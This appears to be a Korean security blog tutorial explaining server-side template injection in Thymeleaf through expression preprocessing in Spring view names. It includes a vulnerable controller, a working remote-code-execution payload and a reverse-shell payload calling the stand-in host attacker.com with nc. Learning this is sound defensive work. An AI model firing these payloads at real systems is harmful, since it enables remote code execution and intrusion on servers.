Luv{Flag}
article thumbnail
반응형

 

 

Thymeleaf 기본이해

https://lovflag.tistory.com/27

 

타임리프(Thymeleaf) 템플릿 엔진 알아보기(1) - 조건문,반복문,기본 문법, 사용법

타임리프 소개 타임리프는 서버에서 html을 동적으로 렌더링 할 때 사용하는 템플릿 엔진이다. 간단한 조건문(if, else), 변수표현, 각종 연산(삼항연산, 산수, 비교, 문자, 참 거짓)이 가능하다. 자

lovflag.tistory.com

 

 

 

일반적인 SSTI

일반적으로 SSTI 공격 구문은 템플릿 엔진에 따라 약간의 차이가 있다.

수많은 템플릿 엔진이 존재하지만, 일반적으로, Python의 Jinja2, Java 의 thymeleaf, JS의 Lessjs 등이 존재한다.

 

${7*7} 
{{7*7}} 
{% 7*7 %}

등으로 확인해 볼 수 있다.

 

 

Thymeleaf Preprocessing

타임리프는 표현식 전처리 기능을 제공한다. 

이는 일반적인 표현식을 실행하기 전에 표현식을 실행하는 것으로, 이를 통해 표현식을 수정할 수 있다.

공식 문서에 따르면,  __${expression}__ 과 같은 형태로 사용할 수 있다.

사용자는 이를 이용해 기존 표현식 안에서의 표현식을 사용하고, 보다 동적으로 사용 할 수 있다.

 

하지만, 이 기능이 SSTI 취약점의 발생 요인이 된다.

공격자가 전처리값의 내용을 제어할 수 있다면 임의의 코드를 실행할 수 있다

 

 

 

Thymeleaf SSTI

앞서, 타임리프의 전처리 기능을 사용하여 SSTI 를 발생 할 수 있다고 했다.

아래와 같은 코드에서, 일반적으로 java는 사용자의 쿠키 값에 따른 templates/lang/welcome.html 파일을 찾으려 할것이다.

    @GetMapping({"/welcome"})
    public String welcome(@CookieValue(value = "lang",defaultValue = "en") String lang) {
        return lang + "/welcome";
    }

 

이때, 공격자가 쿠키값을 악의적으로 조작하여 rfi 취약점 혹은 경로 탐색 취약점을 발생 할 수 있을것이라 생각 할 수 있지만,  공격자는 서버의 템플릿 파일 외에 파일에는 읽을 수 없다.

하지만 여전히 SSTI 취약점은 존재한다.

쿠키의 값에 따라 페이지를 매핑해 줄때, 공격자에 의해 lang 변수가 조작 되어 SSTI가 발생할 수 있다.

 

 

결국 다음 코드에서 사용자 입력값에대해 view 이름을 찾기위해,

    @GetMapping({"/welcome"})
    public String welcome(@CookieValue(value = "lang",defaultValue = "en") String lang) {
        return lang + "/welcome";
    }

 

 

다음의 DefaultRequestToViewNameTranslator 클래스에서 사용자가 입력한 값에 대해 뷰 이름으로 전달되고, 결국 이는 표현식으로 인식된다. 따라서 전처리 표현식으로 payload가 구성 될 수 있다.

@Override
public String getViewName(HttpServletRequest request) {
    String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
    return (this.prefix + transformPath(lookupPath) + this.suffix);
}

 

//getViewName 
public String getViewName(HttpServletRequest request)
Translates the request URI of the incoming HttpServletRequest into the view name based on the configured parameters.
Specified by:
getViewName in interface RequestToViewNameTranslator
Parameters:
request - the incoming HttpServletRequest providing the context from which a view name is to be resolved
Returns:
the view name, or null if no default found
Throws:
IllegalArgumentException - if neither a parsed RequestPath, nor a String lookupPath have been resolved and cached as a request attribute.

(getViewName 정보)


앞서 말했듯이, __${expression}__  과 같은 전처리 방식에서 타임리프 상에 어떠한 코드도 실행 될 수 있으므로, payload 가 동작하기 위해 __${payload}__ ::.x 와 같은 형식이 된다.

 



이에, 일반적인 payload는 다음과 같다.

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

 

 

exec() 로 rce가 가능하게 되었기때문에, reverse shell 등 다른 공격으로도 이어질 수 있다.

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("nc attacker.com 443 -e "/bin/sh").getInputStream()).next()}__::.x

 

 

 

 

 

Reference

https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/

 

Exploiting SSTI in Thymeleaf | Acunetix

Server-side template injections (SSTI) are vulnerabilities that let the attacker inject code into server-side templates such as Thymeleaf.

www.acunetix.com

 

https://github.com/veracode-research/spring-view-manipulation

 

GitHub - veracode-research/spring-view-manipulation: When MVC magic turns black

When MVC magic turns black. Contribute to veracode-research/spring-view-manipulation development by creating an account on GitHub.

github.com

 

https://www.thymeleaf.org/doc/tutorials/3.1/usingthymeleaf.html#preprocessing

 

Tutorial: Using Thymeleaf

1 Introducing Thymeleaf 1.1 What is Thymeleaf? Thymeleaf is a modern server-side Java template engine for both web and standalone environments, capable of processing HTML, XML, JavaScript, CSS and even plain text. The main goal of Thymeleaf is to provide a

www.thymeleaf.org

 

https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/web/servlet/view/DefaultRequestToViewNameTranslator.html#getViewName(jakarta.servlet.http.HttpServletRequest)

 

DefaultRequestToViewNameTranslator (Spring Framework 6.1.12 API)

Transform the request URI (in the context of the webapp) stripping slashes and extensions, and replacing the separator as required.

docs.spring.io

 

반응형

검색 태그

loading